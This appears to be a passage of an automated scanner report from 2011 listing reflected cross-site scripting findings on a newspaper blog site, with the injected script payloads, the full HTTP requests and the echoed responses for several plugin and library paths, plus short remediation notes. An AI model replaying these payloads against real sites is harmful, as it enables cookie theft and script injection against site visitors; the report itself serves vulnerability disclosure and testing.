<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/dmr/wp-content/plugins/nextgen-gallery/shutter/shutter-reloaded.cssc5488"><script>alert(1)</script>683302c7758" /> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3dfeb"><script>alert(1)</script>1d5781cdb1 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmr/wp-content/plugins/nextgen-gallery/shutter/shutter-reloaded.js3dfeb"><script>alert(1)</script>1d5781cdb1?ver=1.3.0 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:35:04 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69887
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/dmr/wp-content/plugins/nextgen-gallery/shutter/shutter-reloaded.js3dfeb"><script>alert(1)</script>1d5781cdb1" /> ...[SNIP]...
The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dda02"%3balert(1)//835bdff0c58 was submitted in the REST URL parameter 6. This input was echoed as dda02";alert(1)//835bdff0c58 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dmr/wp-content/plugins/nextgen-gallery/shutter/shutter-reloaded.jsdda02"%3balert(1)//835bdff0c58?ver=1.3.0 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:35:16 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69815
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 51ec4"%3balert(1)//2ac9bdf6711 was submitted in the REST URL parameter 5. This input was echoed as 51ec4";alert(1)//2ac9bdf6711 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dmr/wp-content/plugins/wp-email/email-css.css51ec4"%3balert(1)//2ac9bdf6711?ver=2.50 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:34:54 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69390
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e743e"><script>alert(1)</script>045c9ac9fe9 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmr/wp-content/plugins/wp-email/email-css.csse743e"><script>alert(1)</script>045c9ac9fe9?ver=2.50 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 01:34:51 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69466
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e"><script>alert(1)</script>045c9ac9fe9" /> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 68562"%3balert(1)//02316c9f016 was submitted in the REST URL parameter 5. This input was echoed as 68562";alert(1)//02316c9f016 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/3rdparty/gigya/gigya.js68562"%3balert(1)//02316c9f016 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A15H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dblogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%252522%25253E%25253Cscript%25253Ealert%2528document.cookie%2529%25253C/script%25253E045c9ac9fe9_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D70722%253Bmisc%253D1297695939669%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297749939; GCIONSN=AAAAOn52dzoz
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:19:36 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70106
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4c537"><script>alert(1)</script>17259edfb6 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/3rdparty/gigya/gigya.js4c537"><script>alert(1)</script>17259edfb6 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A15H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dblogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%252522%25253E%25253Cscript%25253Ealert%2528document.cookie%2529%25253C/script%25253E045c9ac9fe9_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D70722%253Bmisc%253D1297695939669%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297749939; GCIONSN=AAAAOn52dzoz
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:19:33 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70178
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/3rdparty/gigya/gigya.js4c537"><script>alert(1)</script>17259edfb6" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f46db"><script>alert(1)</script>aaf1763d564 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/analytics/analytics.jsf46db"><script>alert(1)</script>aaf1763d564 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; GCIONSN=AAAAOn52dzoy; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A15H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dblogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%252522%25253E%25253Cscript%25253Ealert%2528document.cookie%2529%25253C/script%25253E045c9ac9fe9_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D70722%253Bmisc%253D1297695939669%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297749939
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:18:35 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70176
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/analytics/analytics.jsf46db"><script>alert(1)</script>aaf1763d564" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 26ebf"%3balert(1)//51a8e2b270f was submitted in the REST URL parameter 4. This input was echoed as 26ebf";alert(1)//51a8e2b270f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/analytics/analytics.js26ebf"%3balert(1)//51a8e2b270f HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; GCIONSN=AAAAOn52dzoy; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A15H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dblogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%252522%25253E%25253Cscript%25253Ealert%2528document.cookie%2529%25253C/script%25253E045c9ac9fe9_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D70722%253Bmisc%253D1297695939669%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297749939
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:18:38 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70100
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 202df"><script>alert(1)</script>a3e5e60a499 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/anim/yuianimator.js202df"><script>alert(1)</script>a3e5e60a499 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:15:13 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70164
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/anim/yuianimator.js202df"><script>alert(1)</script>a3e5e60a499" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 614f3"%3balert(1)//1a45f6dbaa1 was submitted in the REST URL parameter 4. This input was echoed as 614f3";alert(1)//1a45f6dbaa1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/anim/yuianimator.js614f3"%3balert(1)//1a45f6dbaa1 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:15:16 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70088
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bc6d5"><script>alert(1)</script>c9cfd51c044 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/cookie/cookie.jsbc6d5"><script>alert(1)</script>c9cfd51c044 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:15:20 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70152
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/cookie/cookie.jsbc6d5"><script>alert(1)</script>c9cfd51c044" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b3792"%3balert(1)//7ce240ead62 was submitted in the REST URL parameter 4. This input was echoed as b3792";alert(1)//7ce240ead62 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/cookie/cookie.jsb3792"%3balert(1)//7ce240ead62 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:15:23 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70076
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24e62"><script>alert(1)</script>1a725acd5ea was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /odygel/lib/core/core.js24e62"><script>alert(1)</script>1a725acd5ea HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; gban=inter%3Ddisabled%3Atrue%2Cviews%3A1%2Cexpiry%3A5H%2Cplacementid%3A1272947%2Cpreload%3Afalse%2Cid%3Ainter%2Ccontrolurl%3Ahttp%253A//gannett.gcion.com/addyn/3.0/5111.1/1272948/0/0/ADTECH%253Balias%253Dia-desmoines.desmoinesregister.com/news/opinion/blog/front.htm_Interstitial%253Bcookie%253Dinfo%253Bloc%253D100%253Btarget%253D_blank%253Bgrp%253D15892%253Bmisc%253D1297647421991%253Bsize%253D0%253Bnoperf%253D1%2Cexpires%3A1297665422
Response
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 15:14:53 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70777
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
<head> <title>Error | The Des Moines Register | DesMoinesRegister.com </title ...[SNIP]... <link rel="canonical" href="http://blogs.desmoinesregister.com/odygel/lib/core/core.js24e62"><script>alert(1)</script>1a725acd5ea" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3f3e6"%3balert(1)//82f576de807 was submitted in the REST URL parameter 4. This input was echoed as 3f3e6";alert(1)//82f576de807 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /odygel/lib/core/core.js3f3e6"%3balert(1)//82f576de807 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/wp-content/plugins/wp-email/email-css.csse743e%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E045c9ac9fe9?ver=2.50 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; s_cc=true; s_sq=%5B%5BB%5D%5D; SiteLifeHost=gnvm25l3pluckcom; 